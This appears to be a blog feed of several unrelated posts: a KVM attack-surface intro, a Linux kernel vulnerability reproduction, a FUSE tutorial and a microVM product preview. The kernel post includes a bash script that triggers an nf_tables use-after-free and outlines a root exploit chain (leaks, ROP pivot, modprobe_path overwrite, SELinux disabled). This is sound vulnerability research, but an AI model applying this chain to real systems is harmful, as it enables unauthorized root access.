Such an interaction could be the hypercall interface, akin to what syscalls are between userland and kernel-land. In a paravirtualization setup, when the guest is aware it is run inside a hypervisor, it may use (for AMD) the VMMCALLinstruction to perform a hypercall. KVM only provides very few hypercalls (x86 has 6 active), so this particular attack surface is very limited. Other examples involve emulated instructions, particular CPU modes (SMM), nested virtualization (will be explored in the nexts blogposts !), MSRs access, etc.

Note : For the purpose of paravirtualization, KVM sets CPUID 0x40000000 to KVMKVMVKM to inform the guest of the paravirtualization (in arch/x86/include/uapi/asm/kvm_para.h).

KVM signature

Another KVM attack surface is hardware configuration : since a lot of security boundaries are delegated to the CPU, the VM security configuration must be configured right to avoid security violations. For instance, the AMD VMCB contains a MSR bitmap intercept field, which tells the CPU which MSR read/write must be intercepted. Failure to properly handle these configurations will result in VM escape, as shown by Felix Wilhelm in the before-mentioned P0 article (exploiting a TOCTOU in nested virtualization to create an overly-privileged VM with arbitrary MSR read/write, and use it to take control of the host).

Conclusion

This concludes this first part and introduction to hardware virtualization and KVM. The next part(s) will be dedicated to the KVM debugging setup, and the creation of a nested virtualization fuzzer.

Stay tuned !

Antoine Assier de Pompignan – Gravis

About Us

Founded in 2021 and headquartered in Paris, FuzzingLabs is a cybersecurity startup specializing in vulnerability research, fuzzing, and blockchain security. We combine cutting-edge research with hands-on expertise to secure some of the most critical components in the blockchain ecosystem.

Reproducing CVE-2026-23111: How One Character Can Change Everything

Tue, 23 Jun 2026 21:58:25 +0000

To prepare for Pwn2Own Berlin 2026, we decided to reproduce a known kernel CVE on Red Hat (kernel 6.12.0-124.38.1.el10_1, which was the latest version at the time). We chose the nf_tables subsystem because we were not very familiar with it and wanted to better understand its internals.

TL;DR

An inverted condition on the catchall element in the Abort Phase of nf_tables transactions allows an unprivileged user to trigger a use-after-free. This UAF can be used to leak the kernel base address, then a heap address, and finally to execute a ROP chain that stack pivot into msg_msg-2k to get root privileges.

What is nf_tables?

nf_tables is a subsystem of the Linux kernel that provides a framework for packet filtering. It is used by the nft CLI tool to manage firewall rules, and it is a replacement for the older subsystems iptables, ip6tables, arptables, and ebtables.

In order to filter packets, nf_tables uses different objects (image from this video):

At a high level, nf_tables is organized as a hierarchy: a table is the top-level container (usually per protocol family), which contains one or more chains that define packet-processing paths. Each chain is an ordered list of rules, and each rule is built from one or more expressions evaluated in sequence. A set is a reusable lookup structure that rules can query efficiently instead of hardcoding many individual conditions.

First look at the bug

Let’s first have a look at the CVE description:

In the Linux kernel, the following vulnerability has been resolved: netfilter: nf_tables: fix inverted genmask check in nft_map_catchall_activate(). nft_map_catchall_activate() has an inverted element activity check compared to its non-catchall counterpart nft_mapelem_activate() and compared to what is logically required. nft_map_catchall_activate() is called from the abort path to re-activate catchall map elements that were deactivated during a failed transaction. It should skip elements that are already active (they don’t need re-activation) and process elements that are inactive (they need to be restored). Instead, the current code does the opposite: it skips inactive elements and processes active ones. Compare the non-catchall activate callback, which is correct:

nft_mapelem_activate():
    if (nft_set_elem_active(ext, iter->genmask)) return 0; /* skip active, process inactive */ 
With the buggy catchall version: nft_map_catchall_activate():
    if (!nft_set_elem_active(ext, genmask)) continue; /* skip inactive, process active */

The consequence is that when a DELSET operation is aborted, nft_setelem_data_activate() is never called for the catchall element. For NFT_GOTO verdict elements, this means nft_data_hold() is never called to restore the chain->use reference count. Each abort cycle permanently decrements chain->use. Once chain->use reaches zero, DELCHAIN succeeds and frees the chain while catchall verdict elements still reference it, resulting in a use-after-free. This is exploitable for local privilege escalation from an unprivileged user via user namespaces + nftables on distributions that enable CONFIG_USER_NS and CONFIG_NF_TABLES. Fix by removing the negation so the check matches nft_mapelem_activate(): skip active elements, process inactive ones.

Luckily for us, the CVE description gives us a lot of information. Before diving into nf_tables, let’s have a look at the patch:

A single character was removed: an exclamation mark. That tiny negation was enough to invert the activation logic in the abort path, which eventually enables a use-after-free.

Understanding the bug

From the description, there is an inverted condition in nft_map_catchall_activate(). This function is used during the Abort Phase to reactivate the catchall elements in a map.

To better understand what this means, let’s review the different nf_tables transaction phases when sending a batch (i.e., several requests at once).(Image from this video)

When a batch arrives, the different commands are processed in the Prepare phase. This phase does not modify elements “in place”, but builds what we call the next generation. If there is no failure during the Prepare phase, the next generation becomes the current generation during the Commit phase. However, if there is an issue, the Abort Phase is invoked and unwinds the different actions performed during the Prepare phase in reverse order to restore the original state.

With that in mind, we can better understand the bug. If we send a batch that contains:

a first command that deletes a map which contains a catchall element (sometimes represented by a “*”, because it catches everything)
a second command that fails

Then during the Abort Phase, the function nft_map_catchall_activate(), which normally reactivates elements in the catchall part of the map, will not reactivate them.

The description of the bug gives us even more information: if inside this catchall element we have a verdict of type GOTO (something like { * : goto chainX }), then nft_data_hold() will never be called to restore the chain->use variable, which counts the number of references to a chain. This allows us to decrement this variable as many times as we want, and then delete and free this chain while some objects still refer to it (use-after-free).
This simplified diagram shows the different steps to trigger the bug:

Reproduction in Bash

To make sure we understood this bug, we tried to trigger this UAF using the nft CLI tool. Here is our commented script:

				#!/bin/sh

FILE_BASH="file_bash"

# clean the environment
nft flush ruleset
rm -f "$FILE_BASH"

# create a table mytable
nft add table inet mytable
# create a chain mychain inside this table
nft add chain inet mytable mychain

# add to the table a map "mymap" with a default element, which will not be important here
nft add map inet mytable mymap { type ipv4_addr : verdict \; } 
# add the catchall element with a goto verdict to "mychain"
nft add element inet mytable mymap { \* : goto mychain } 

# same thing for the second map "triggermap"
nft add map inet mytable triggermap { type ipv4_addr : verdict \; } 
nft add element inet mytable triggermap { \* : goto mychain }


# Create a batch that first deletes a map, then tries to delete something that does not exist, in order to fail the batch and go into the abort phase
cat > "$FILE_BASH" << 'BATCH_CONTENT'
delete map inet mytable triggermap
delete map inet mytable bonjour
BATCH_CONTENT

# execute the batch
nft -f "$FILE_BASH"

# here mychain->use should be decremented because the abort phase did not recover properly. We can abuse that by making the use counter reach 0 and then deleting the chain to get a UAF.

nft delete map inet mytable mymap
nft delete chain inet mytable mychain

# we should now have triggermap with a catchall element that points to a chain which no longer exists

# listing chains, maps, and sets
echo "CHAINS:"
nft list chains
echo "MAPS:"
nft list maps
echo "SETS:"
nft list sets

This gives us (we added some logs in the kernel):

[   34.575666] nf_tables_newsetelem called
[   34.576027] nft_add_set_elem called
[   34.580254] nft (314) used greatest stack depth: 11272 bytes left
[   34.584135] nf_tables_newsetelem called
[   34.584382] nft_add_set_elem called
[   34.589736] nft_verdict_uninit: chain use before : 2
[   34.590023] nft_verdict_uninit: chain use after : 1
[   34.590330] nf_tables_abort called
[   34.590619] __nf_tables_abort: reversing type=NFT_MSG_DELSET
[   34.590942] type of element in DELSET is NFT_SET_MAP
[   34.591218] interesting
[   34.591363] nft_map_activate called
[   34.591613] nft_map_catchall_activate called
[   34.591851] chain number of use 1
file_bash:2:25-31: Error: Could not process rule: No such file or directory
delete map inet mytable bonjour
                        ^^^^^^^
[   34.608980] nft_verdict_uninit: chain use before : 1
[   34.609417] nft_verdict_uninit: chain use after : 0
[   34.626538] nf_tables_delchain called
[   34.633648] nf_tables_chain_destroy called
[   34.635331] kfree chain->name  @ 0xffff888009fa2b10
[   34.636627] kfree chain->udata @ 0x0000000000000000
[   34.637953] kfree chain        @ 0xffff888009dc1680
CHAINS:
table inet mytable {
}
MAPS:
table inet mytable {
	map triggermap {
		type ipv4_addr : verdict
		elements = { * : goto �,�	�����*�	���� }
	}
}
SETS:
table inet mytable {
}

With these logs, we can clearly see that we entered the Abort Phase, that nft_map_catchall_activate was called and never restored the chain->use variable, which allowed us to destroy the chain while triggermap still had a reference to it. The corrupted chain name while listing the maps clearly shows a UAF.

Exploitation

What do we have exactly?

It is now time to dive into the different structures and identify the exact primitive we obtained. As mentioned before, our map still has a reference to the nft_chain structure, which has now been freed:

This structure is in the kmalloc-cg-128 cache, and for the first phase of this exploit, we will use its name field to obtain an arbitrary leak. This field also goes into kmalloc-cg-* caches, but the cache size depends on the size of the name.

				/**
 *	struct nft_chain - nf_tables chain
 *
 *	@blob_gen_0: rule blob pointer to the current generation
 *	@blob_gen_1: rule blob pointer to the future generation
 *	@rules: list of rules in the chain
 *	@list: used internally
 *	@rhlhead: used internally
 *	@table: table that this chain belongs to
 *	@handle: chain handle
 *	@use: number of jump references to this chain
 *	@flags: bitmask of enum NFTA_CHAIN_FLAGS
 *	@bound: bind or not
 *	@genmask: generation mask
 *	@name: name of the chain
 *	@udlen: user data length
 *	@udata: user data in the chain
 *	@blob_next: rule blob pointer to the next in the chain
 *	@vstate: validation state
 */
struct nft_chain {
	struct nft_rule_blob		__rcu *blob_gen_0;
	struct nft_rule_blob		__rcu *blob_gen_1;
	struct list_head		rules;
	struct list_head		list;
	struct rhlist_head		rhlhead;
	struct nft_table		*table;
	u64				handle;
	u32				use;
	u8				flags:5,
					bound:1,
					genmask:2;
	char				*name;
	u16				udlen;
	u8				*udata;

	/* Only used during control plane commit phase: */
	struct nft_rule_blob		*blob_next;
	struct nft_chain_validate_state vstate;
};

Leaking kbase

The first phase of this exploit is the same as in this write-up. We will use struct seq_operations to leak the kernel base address, since this structure is in kmalloc-cg-32, and its first value is a pointer to the single_open function.

				struct seq_operations {
	void * (*start) (struct seq_file *m, loff_t *pos);
	void (*stop) (struct seq_file *m, void *v);
	void * (*next) (struct seq_file *m, void *v, loff_t *pos);
	int (*show) (struct seq_file *m, void *v);
};

Therefore, we just have to trigger our UAF, then spray struct seq_operations in kmalloc-cg-32 so that one of these structs takes the place of the old name.

For this first part, our name must be of a size so that it is allocated in kmalloc-cg-32, for example a size of 21.

After these steps, we can list the maps and leak a pointer to single_open through the chain name. However, if the pointer contains a null byte, we will not be able to recover the full function pointer because we leak it as a string. In this case, just reboot. 🙂

Leaking msg_msg-2k

You will understand why later, but our next objective is to leak the address of the slab msg_msg-2k.

To do so, we craft a stronger primitive: an arbitrary read. We trigger the same UAF as before, but instead of trying to reallocate an object into the old name space, we try to reallocate an object into the old nft_chain space. With that done, we can place an arbitrary pointer at the offset of the name field and get an arbitrary read.

To do this, we again choose the name object, but this time from an nft_table. As nft_table does not go into kmalloc-cg-128 (it is larger), allocating its name will go into kmalloc-cg-128 if we set up the name size correctly.

This gives us an arbitrary leak, but we want to find the address of the msg_msg-2k slab, and we already have the kernel base address. To do so, we go through one of the kernel global variables: init_ipc_ns, which is of type ipc_namespace.

				struct ipc_namespace {
	struct ipc_ids	ids[3];

	int		sem_ctls[4];
	int		used_sems;

	unsigned int	msg_ctlmax;
	unsigned int	msg_ctlmnb;
	unsigned int	msg_ctlmni;
	struct percpu_counter percpu_msg_bytes;
	struct percpu_counter percpu_msg_hdrs;

	size_t		shm_ctlmax;
	size_t		shm_ctlall;
	unsigned long	shm_tot;
	int		shm_ctlmni;
	/*
	 * Defines whether IPC_RMID is forced for _all_ shm segments regardless
	 * of shmctl()
	 */
	int		shm_rmid_forced;

	struct notifier_block ipcns_nb;

	/* The kern_mount of the mqueuefs sb.  We take a ref on it */
	struct vfsmount	*mq_mnt;

	/* # queues in this ns, protected by mq_lock */
	unsigned int    mq_queues_count;

	/* next fields are set through sysctl */
	unsigned int    mq_queues_max;   /* initialized to DFLT_QUEUESMAX */
	unsigned int    mq_msg_max;      /* initialized to DFLT_MSGMAX */
	unsigned int    mq_msgsize_max;  /* initialized to DFLT_MSGSIZEMAX */
	unsigned int    mq_msg_default;
	unsigned int    mq_msgsize_default;

	struct ctl_table_set	mq_set;
	struct ctl_table_header	*mq_sysctls;

	struct ctl_table_set	ipc_set;
	struct ctl_table_header	*ipc_sysctls;

	/* user_ns which owns the ipc ns */
	struct user_namespace *user_ns;
	struct ucounts *ucounts;

	struct llist_node mnt_llist;

	struct ns_common ns;
} __randomize_layout;

RHEL doesn’t use CONFIG_GCC_PLUGIN_RANDSTRUCT (more information in this blog post) so we don’t have to worry about __randomize_layout.

This structure contains something interesting: the different struct ipc_ids, with the first one being for semaphores, the second one for message queues, and the third one for shared memory (source). Using pahole, we can get the data structures recursively with their offsets (pahole -E -C ipc_namespace vmlinux):

				struct ipc_namespace {
        struct ipc_ids {
                int                in_use;                                               /*     0     4 */
                short unsigned int seq;                                                  /*     4     2 */

                /* XXX 2 bytes hole, try to pack */

                struct rw_semaphore {
                        /* typedef atomic_long_t -> atomic64_t */ struct {
                                /* typedef s64 -> __s64 */ long long int counter;        /*     8     8 */
                        } count; /*     8     8 */
                        /* typedef atomic_long_t -> atomic64_t */ struct {
                                /* typedef s64 -> __s64 */ long long int counter;        /*    16     8 */
                        } owner; /*    16     8 */
                        struct optimistic_spin_queue {
                                /* typedef atomic_t */ struct {
                                        int    counter;                                  /*    24     4 */
                                } tail; /*    24     4 */
                        }osq; /*    24     4 */
                        /* typedef raw_spinlock_t */ struct raw_spinlock {
                                /* typedef arch_spinlock_t */ struct qspinlock {
                                        union {
[...]
                     void * xa_head;                                          /*    56     8 */
[...]

Inside this struct ipc_ids, there is a field named xa_head, which is the root of a radix tree. Before digging into radix trees, we can compute the offset of our first value to leak: address of init_ipc_ns + 224 (size of the first struct ipc_ids) + 56 (offset in the struct for xa_head) = init_ipc_ns + 0x118.

From wikipedia:

In computer science, a radix tree (also radix trie or compact prefix tree or compressed trie) is a data structure that represents a space-optimized trie (prefix tree) in which each node that is the only child is merged with its parent. The number of children of every internal node is at most the radix r of the radix tree, where r = 2x for some integer x ≥ 1. Unlike regular trees, edges can be labeled with sequences of elements as well as single elements. This makes radix trees much more efficient for small sets (especially if the strings are long) and for sets of strings that share long prefixes.

In the Linux kernel, it is represented by struct xa_node in xarray.h:

				/*
 * @count is the count of every non-NULL element in the ->slots array
 * whether that is a value entry, a retry entry, a user pointer,
 * a sibling entry or a pointer to the next level of the tree.
 * @nr_values is the count of every element in ->slots which is
 * either a value entry or a sibling of a value entry.
 */
struct xa_node {
	unsigned char	shift;		/* Bits remaining in each slot */
	unsigned char	offset;		/* Slot offset in parent */
	unsigned char	count;		/* Total entry count */
	unsigned char	nr_values;	/* Value entry count */
	struct xa_node __rcu *parent;	/* NULL at top of tree */
	struct xarray	*array;		/* The array we belong to */
	union {
		struct list_head private_list;	/* For tree user */
		struct rcu_head	rcu_head;	/* Used when freeing node */
	};
	void __rcu	*slots[XA_CHUNK_SIZE];
	union {
		unsigned long	tags[XA_MAX_MARKS][XA_MARK_LONGS];
		unsigned long	marks[XA_MAX_MARKS][XA_MARK_LONGS];
	};
};

We are interested here in the message queue radix tree, so the slots array contains, when reaching a leaf, a pointer to struct msg_queue. Since this exploit is a PoC, we assumed that no previous message queues had been created before running it. Therefore, when creating the msg_queue in our exploit, it takes the first slot.

Using pahole again, we can find the second address to leak: first_leak + 0x28 (offset of slots[0]).

This will give us a pointer to a struct msg_queue:

				/* one msq_queue structure for each present queue on the system */
struct msg_queue {
	struct kern_ipc_perm q_perm;
	time64_t q_stime;		/* last msgsnd time */
	time64_t q_rtime;		/* last msgrcv time */
	time64_t q_ctime;		/* last change time */
	unsigned long q_cbytes;		/* current number of bytes on queue */
	unsigned long q_qnum;		/* number of messages in queue */
	unsigned long q_qbytes;		/* max number of bytes on queue */
	struct pid *q_lspid;		/* pid of last msgsnd */
	struct pid *q_lrpid;		/* last receive pid */

	struct list_head q_messages;
	struct list_head q_receivers;
	struct list_head q_senders;
} __randomize_layout;

And here it is: the doubly linked list containing pointers to our msg_msg objects (q_messages). We just need to find the offset using pahole: second_leak + 0xc0 (offset of q_messages->list_head). By doing only three leaks, we obtain the address of the msg_msg-2k slab (assuming we set the size of the first msg_msg so it lands in this cache).

Controlling RIP

For this part, we used the same approach as in this write-up. The idea is the following:

Find a way to trigger nft_chain_validate on the UAF chain.
This function will go through each expression in each rule, and call expr->ops->validate which is a function pointer inside the struct nft_expr_ops.

				/** nft_chain_validate - loop detection and hook validation
 *
 * @ctx: context containing call depth and base chain
 * @chain: chain to validate
 *
 * Walk through the rules of the given chain and chase all jumps/gotos
 * and set lookups until either the jump limit is hit or all reachable
 * chains have been validated.
 */
int nft_chain_validate(const struct nft_ctx *ctx, struct nft_chain *chain)
{
	struct nft_expr *expr, *last;
	struct nft_rule *rule;
	int err;

	BUILD_BUG_ON(NFT_JUMP_STACK_SIZE > 255);
	if (ctx->level == NFT_JUMP_STACK_SIZE)
		return -EMLINK;

	if (ctx->level > 0) {
		/* jumps to base chains are not allowed. */
		if (nft_is_base_chain(chain))
			return -ELOOP;

		if (nft_chain_vstate_valid(ctx, chain))
			return 0;
	}

	list_for_each_entry(rule, &chain->rules, list) {
		if (fatal_signal_pending(current))
			return -EINTR;

		if (!nft_is_active_next(ctx->net, rule))
			continue;

		nft_rule_for_each_expr(expr, last, rule) {
			if (!expr->ops->validate)
				continue;

			/* This may call nft_chain_validate() recursively,
			 * callers that do so must increment ctx->level.
			 */
			err = expr->ops->validate(ctx, expr);
			if (err < 0)
				return err;
		}

		cond_resched();
	}

	nft_chain_vstate_update(ctx, chain);
	return 0;
}

We use the same technique as before: use the UAF to place table->name at the old location of nft_chain, then make the rules->next offset point to our msg_msg-2k leak + 0x30 (this is where we control the data, since msg_msg has metadata at the beginning of the structure). Then we replace our old msg_msg with one containing all fake pointers at precise offsets to simulate the different structures, until we can start our ROP chain at the old validate field. We are lucky because our first gadget is called with:

expr->ops->validate(ctx, expr)

Here, expr is a pointer to our fake nft_expr, which we control. This makes it easier to stack pivot into msg_msg-2k, since RSI already points to an address in that region.

As gadgets change between kernel builds, we will not go into detail on how to craft a ROP chain. We will just explain what we did and leave this exercise to the reader.

In our ROP chain, after stack pivoting into msg_msg-2k, we decided to modify modprobe_path in order to obtain root privileges (see this article). After modifying it, we also had to disable SELinux, as it would block the kernel from executing a file in /tmp or /home/user as modprobe_path. To do so, there is a global structure called selinux_state with an enforcing field that we have to set to 0. After that, we did not want to return to userland because we had completely corrupted the kernel stack, so we decided to put the kernel to sleep using msleep. This still allows us to trigger modprobe_path from another process.

After setting up all these structures, there is one last thing to do: trigger the call to nft_chain_validate. To do so, you can create a base chain and add a rule that uses the map with the UAF as the filter.

This will call nft_chain_validate, traverse all the fake structures, call the fake validate pointer (now your ROP chain), and obtain a LPE!

Alexis & Lyes

About Us

Building a tiny FUSE filesystem

Tue, 23 Jun 2026 13:56:14 +0000

Lately I have been working around sandboxing, storage, and networking, and a lot of that work keeps coming back to files, which makes sense since Unix has organized itself around everything is a file for over fifty years. Your terminal and random number generator are device files you can open and read (/dev/tty, /dev/urandom), and even network sockets, which are created with their own system call rather than opened by path, are read and written through the same interface afterwards.

For this post, I built a small filesystem with a real backing store, enough metadata to behave like a filesystem, and a few deliberate omissions so the code is still readable.

magicfs mounts at /magic, but it keeps its own local backing store next to it, with names and inode numbers in metadata.json, while file contents live as plain local files under blobs/. Calling that directory a blob store is a little grandiose, because the blobs are just files with allocated names like blob-000000000001, but keeping metadata separate from file contents lets the example cover name lookup, inode stability, write ordering, kernel caching, and what fsync() is asking the filesystem to do.

The full sample code is at github.com/shayonj/magicfs, and if you have Docker, you can run the filesystem with FUSE enabled.

Try it first

docker run -it --rm --device /dev/fuse --cap-add SYS_ADMIN shayonj/magicfs

$ ls /magic
hello.txt  notes.txt

$ cat /magic/hello.txt
Hello from a tiny FUSE filesystem.

$ echo "remember the milk" > /magic/notes.txt
$ cat /magic/notes.txt
remember the milk

Inside that shell, the mount point is the interface applications use, while the store directory is private state owned by the filesystem process, so the shell sees an ordinary directory even though the data behind it is a metadata file plus a couple of local blobs.

$ find /tmp/magicfs-store -type f
/tmp/magicfs-store/metadata.json
/tmp/magicfs-store/blobs/blob-000000000001
/tmp/magicfs-store/blobs/blob-000000000002

In the store directory, the metadata file stands in for a tiny inode table and a tiny directory tree, recording the name, inode number, size, mode bits, and blob IDs for each file.

{
  "next_inode": 4,
  "entries": {
    "hello.txt": {
      "ino": 2,
      "mode": 420,
      "size": 36,
      "blobs": [
        {
          "blob": "blob-000000000001",
          "offset": 0,
          "len": 36
        }
      ]
    },
    "notes.txt": {
      "ino": 3,
      "mode": 420,
      "size": 18,
      "blobs": [
        {
          "blob": "blob-000000000002",
          "offset": 0,
          "len": 18
        }
      ]
    }
  }
}

The path notes.txt is not where the bytes live, it is the name that gets you to inode 3, and the metadata for inode 3 points at a blob file under blobs/, so renaming notes.txt changes the directory metadata, while rewriting it creates a new blob and updates the metadata pointer.

Filesystems as a request loop

When you run cat /magic/hello.txt, cat does not know that JSON metadata and blob files are involved, because all it does is call open() and read(), after which the kernel resolves the path through the VFS, and the operation eventually lands on the filesystem mounted at /magic.

With FUSE, the code that answers those filesystem requests runs in userspace, where the kernel driver sends request messages over /dev/fuse, the userspace process replies, and the application that made the system call keeps waiting until the kernel has an answer, while the kernel FUSE documentation covers the protocol, and the fuser crate exposes the same operations as Rust trait methods.

The path for a read looks roughly like this:

flowchart LR
    A["cat /magic/hello.txt"] --> B["Linux VFS"]
    B --> C["FUSE kernel driver"]
    C --> D["magicfs userspace process"]
    D --> E["metadata.json + local blobs"]
    E --> D
    D --> C
    C --> B
    B --> A

In the request log, LOOKUP asks whether a name exists in a directory and which inode it maps to, GETATTR asks for the metadata associated with an inode, READ asks for bytes at an offset, and WRITE sends bytes at an offset, while later in the lifetime of an open file, FLUSH, FSYNC, and RELEASE show up and make the write path less like a simple callback that copies bytes.

Here is the log from writing notes.txt, trimmed to the requests involved in opening, truncating, writing, flushing, and releasing the file:

[magicfs] READDIR ino=1
[magicfs] LOOKUP notes.txt -> ino=3
[magicfs] OPEN notes.txt ino=3 flags=0x8001
[magicfs] SETATTR ino=3 size=0 staged=true
[magicfs] WRITE notes.txt ino=3 offset=0 len=18 staged=true
[magicfs] FLUSH notes.txt ino=3
[magicfs] COMMIT notes.txt ino=3 size=18 blobs=1
[magicfs] COMMIT metadata entries=2
[magicfs] RELEASE notes.txt ino=3 flags=0x8001 flush=true

In this log, ls triggers READDIR, while a direct cat /magic/hello.txt can walk the path without listing the directory first. Shell redirection with > opens the file for writing and truncation, so the kernel sends a size change before it sends the bytes, and the WRITE handler only stages the new contents in memory, while the backing store does not change until the file is flushed or synced.

Metadata and names

A filesystem usually has to answer a question about a name before it can answer anything about bytes, namely whether this name exists in this directory, and if it does, which file it refers to.

Linux mostly stops caring about filenames once path lookup is done, because internally it refers to files by inode number, and on a disk filesystem, an inode is a record with metadata and pointers to data blocks, while a directory entry maps a name to an inode, which is why a rename can change a path without moving file data, and also why hard links can make the same inode appear under more than one name.

magicfs keeps the directory entry and inode metadata in metadata.json:

"notes.txt": {
  "ino": 3,
  "mode": 420,
  "size": 18,
  "blobs": [
    {
      "blob": "blob-000000000002",
      "offset": 0,
      "len": 18
    }
  ]
}

The LOOKUP notes.txt handler reads that map and returns inode 3, while the GETATTR handler turns the entry into a FileAttr, which is what makes stat and ls -l work, and the root directory uses inode 1, which is the conventional root inode for FUSE filesystems.

The ordering problem shows up before the read and write handlers do anything with file contents, because if a new blob reaches the backing store but metadata.json still points at the old blob, readers keep seeing the old file, while if metadata.json points at a blob that never made it to disk, readers see a broken file. magicfs handles the simple case by writing the blob first, then replacing metadata, and the metadata replacement follows the usual local-filesystem pattern where the code writes a temporary file, syncs it, renames it over metadata.json, and then syncs the containing directory.

The temp-file-and-rename pattern avoids half-written JSON, but it is not a journal, and without a recovery pass or a transaction log, the filesystem cannot determine after a crash whether every in-flight metadata update had committed.

File contents as local blobs

For the data path, magicfs stores each committed file version as one immutable blob with an allocated ID, while a more complete filesystem would split larger files into chunks and let metadata point at a list of chunks, but one blob per file keeps the code short.

For reads, metadata comes first, so given inode 3, the filesystem finds the entry for notes.txt, reads the blob ID from that entry, opens the corresponding file under blobs/, and returns the byte range the kernel requested.

inode 3
  -> metadata entry for notes.txt
  -> blob ID blob-000000000002
  -> blobs/blob-000000000002
  -> bytes returned to READ

For writes, the data moves in the other direction, but magicfs does not mutate the blob in place, because when the kernel sends WRITE, the filesystem stages the new file contents in memory, and later, when FLUSH or FSYNC arrives, it writes a new blob and updates metadata to point at it.

The example ends up with a small copy-on-write data path, although rewriting one byte of a large file should not require rewriting the whole file, so a more complete implementation would chunk the file, track dirty chunks, write only the changed chunks, and then commit a metadata update that points at the new chunk list, while magicfs skips that complexity by assuming the files are small enough to rewrite as a unit.

Write is not sync

A shell command like this looks simpler than the filesystem work behind it:

$ echo "remember the milk" > /magic/notes.txt

Inside magicfs, the work is closer to this:

OPEN notes.txt for writing
SETATTR notes.txt size=0
WRITE bytes at offset 0
FLUSH because a file descriptor is closing
write content blob
replace metadata.json
RELEASE the open file

On a normal Linux filesystem, write(2) usually means the kernel accepted the bytes into memory, not that the bytes necessarily reached stable storage. fsync(2) is the call an application uses when it wants the file data, along with the metadata needed to retrieve that data, flushed to the storage device, while fdatasync(2) is similar but can skip metadata that is not needed for a later read.

FUSE also calls the filesystem when a file descriptor closes, because flush is called on close, and duplicated file descriptors mean one open file can have more than one flush. A filesystem can use flush to report delayed write errors, but flush does not mean the same thing as fsync, and release happens later still, when the kernel is done with the open file handle.

For the shell demo, magicfs commits staged bytes on both FLUSH and FSYNC, which makes echo hello > /magic/notes.txt behave the way a person expects, while the code still treats fsync as the explicit request for durable file data and metadata. A database that calls fsync is asking a more specific question than a shell that happened to close a redirected file, and if the backing blob write fails after WRITE already returned success, the filesystem still has to decide where that error can be reported, either through a later fsync or through a close-time error from flush, although plenty of programs are not careful about checking close errors.

For metadata, replacing a file with rename is atomic for readers, but atomic replacement is not the same thing as durability after power loss, so if you care that the new metadata.json survives a crash, you need to sync the new file contents and the directory entry that points at it, which magicfs handles for its local store by syncing the temporary metadata file before rename, then syncing the store directory after rename.

In code, those rules show up in the order of blob writes, metadata replacement, flush, and fsync, because the filesystem has to decide which bytes exist, which names point at them, and what an application is allowed to assume after a successful sync.

Caching and stale metadata

FUSE replies can include time-to-live values for names and attributes, and until those TTLs expire, the kernel can answer repeated lookups and getattr calls without asking the userspace process again, which matters because crossing from the kernel into a userspace filesystem on every stat would be expensive.

The same TTL also affects correctness, because magicfs uses a one second TTL, which is fine for a single-process demo, but if another process or another machine can update the same backing store, a reader may see an old file size or an old blob ID until the cache expires unless the filesystem actively invalidates the kernel’s cached state.

For file contents, magicfs opens files with FUSE direct I/O so reads come back to the userspace filesystem instead of being served from the page cache, which keeps the example easier to reason about but gives up caching and read-ahead that a real filesystem would probably want, and the cache policy matters because it changes which file size, inode attributes, and file contents callers are able to observe.

Shortcomings I kept

The implementation only supports one directory, and each file is stored as one local blob, so rewriting a byte rewrites the whole file, with no journal, recovery scan, or cleanup for orphaned blobs left behind by rewrites or unlinks, and it also does not implement locking, mmap, extended attributes, a real permission model, sparse files, hard links, symlinks, or multi-client cache invalidation.

The filesystem also does not model the problems that show up when the backing layer is remote, since network failures, remote consistency rules, retries, and authentication all change when reads can succeed, when writes can be retried, and what fsync can honestly report, while this example stays on local disk so the post can focus on filesystem calls.

A journal or transaction log would let recovery decide whether a metadata update committed, chunking would avoid rewriting whole files, a garbage collector would find blobs no metadata entry can reach, and better cache invalidation would keep multiple readers from seeing stale metadata for too long.

With FUSE, Linux asks the filesystem a fixed collection of questions, and the implementation can answer from whatever backing store it owns, which means the implementation still has to define lookup, write, flush, fsync, and rename when metadata and file contents are stored somewhere else.

I am working on these filesystem, sandboxing, and storage problems at Tines, along with plenty of adjacent systems work that gets deeper than a blog post can. If that sounds interesting, we are hiring.

Preview: Slice Up Bare-Metal with Slicer

Tue, 23 Jun 2026 06:43:04 +0000

By popular request, we're releasing Slicer, our much used internal tool from OpenFaaS Ltd for efficiently slicing up bare metal into microVMs.

Since this blog post, there's official documentation with use-cases and examples, and a landing page.

I was on a call this week with Lingzhi Wang, of Northwestern University in the USA. He told me he was doing a research project on intrusion detection with OpenFaaS, and had access to a powerful machine.

When I asked how powerful the machine was, his reply shocked me:

128 Cores
1.5 TB of RAM

My next question surprised him.

How many Kubernetes Pods, do you think you can run on that huge machine?

I answered: only 100. [1]

He was installing K3s (Kubernetes) directly onto the host, which when coupled with a 100 Pod limit is a huge waste of resources.

Enter slicer, and the original reason we created it.

If you've not seen a demo of my slicer tool yet..

It takes a bare-metal host and partitions it into dozens of Firecracker VMs in ~ 1-2s. From there you can do whatever you want via SSH

In my screenshot "k3sup plan" created a 25-node HA clusterhttps://t.co/WpG2v3RPK7 pic.twitter.com/Wbz5Szk1BI
— Alex Ellis (@alexellisuk) October 24, 2023

The original use-case was for customer support for our line of Kubernetes products such as OpenFaaS and Inlets Uplink.

Build a large cluster capable of running thousands of Pods on a single machine - blasting that 100 Pod per node limit
Learn how far we can push OpenFaaS before we start to see untolerable latency on faas-cli list and faas-cli deploy, etc
Optimise the cost of long-running burn-in tests and customer simulations
Simulate spot-instance behaviour - node addition/removal through Firecracker
Chaos testing - what happens when the network disconnects? This was used to fix a mysterious production issue for a customer where informers were disconnecting after network interruptions
Test our code on Arm and x86_64 hosts

Key features that make it ideal for running production workloads:

Fast storage pool for instant clone of new VMs
Run with a disk file for persistent workloads
Boot time ~ 1s including systemd
Proven at scale in actuated running millions of jobs for top-tier CNCF projects
Serial Over SSH console to enable access when the network is down
Disk management utilities for migration
Multi-host support for even larger slicer deployments
Near-instant destruction of hosts
GPU mounting via VFIO for Ollama

What about for individuals and hobbyists?

Slicer is probably the easiest, and best supported tool for working with Firecracker and microVMs.

The OS images and Kernels have been specially tuned for container workloads whilst working with various CNCF projects building actuated - our managed GitHub Actions offering. The documentation site gets you from zero to Firecracker Kubernetes cluster within single digit minutes.

So you get to have fun with your lab again, an excuse to buy an N100 or Beelink - a way to to experiment and learn in an isolated environment.

What is a preview?

Slicer is already suitable for productive R&D/support uses and long-running production workloads.

So why is this being called a preview? It's an internal tool, which we have been using since ~ 2022 along with actuated.

The preview is referring to making it consumable and useful as a public offering.

Enough talking, I just want to see it running

You can watch a brief demo here:

